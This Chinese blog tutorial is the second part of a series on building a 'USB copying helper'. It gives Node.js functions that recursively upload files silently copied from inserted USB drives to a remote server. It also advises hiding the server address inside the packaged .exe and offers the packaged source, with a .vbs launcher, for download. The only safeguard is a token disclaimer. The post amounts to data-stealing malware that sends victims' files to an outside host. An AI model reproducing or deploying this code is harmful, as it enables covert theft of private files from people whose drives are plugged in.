前言:切莫用其干坏事,否则后果自负
今天我们来聊聊如何将文件上传至服务器。
首先,需要前面(文章一)的代码为基础,在此基础上传文件。为了节省篇幅,在这我贴出改动的代码。
为了方便程序的通用性,在同级目录下创建config文件来保存服务器地址,配置文件如下。
当然把服务器地址暴露出来似乎不符合真香定律,作为“职业选手”,应该放置在代码内,打包过后就可以隐藏了。
在 “复制文件到指定目录”的函数中新增两行代码:
以上都是在原代码上添加几行新的代码,下面是真正上传文件代码。
/*
* 迭代上传文件函数 (使用递归上传)
* 上传复制后 保存在本地的文件
* */
function forUpFile(count=0){
if(count!=localFileDir.length){
upFile(localFileDir[count],e=>{
count++
forUpFile(count)
})
}
else {
console.log("全部文件上传完成")
}
}
/*
* 上传文件到服务器
* 第一参数:文件所在路径 第二参数:回调函数
* */
function upFile(path,callback){
let form = new formData()
form.append("file", fs.createReadStream(path)) // 服务器指定文件 key 为 file
axios({
method: "post",
url: url,
data: form,
headers: form.getHeaders()
}).then(e=>{
callback(e.data)
})
}
至此就完成了支持上传文件的U盘拷贝文件的小助手。当然,你要有能够接收文件的服务器,如果没有,那就看看我下面的一章,如何搭建能够接收文件的服务器吧!
源代码打包:
目录:.vbs文件 实现源代码 打包后的.exe文件 配置文件
下载:第二章源代码打包-支持上传文件至服务器的U盘拷贝的小助手.rar-其它文档类资源-CSDN下载
上一章:手把手教你写复制U盘文件神器(一)_小坑2号的博客-CSDN博客
下一章:手把手教你写复制U盘文件神器(三)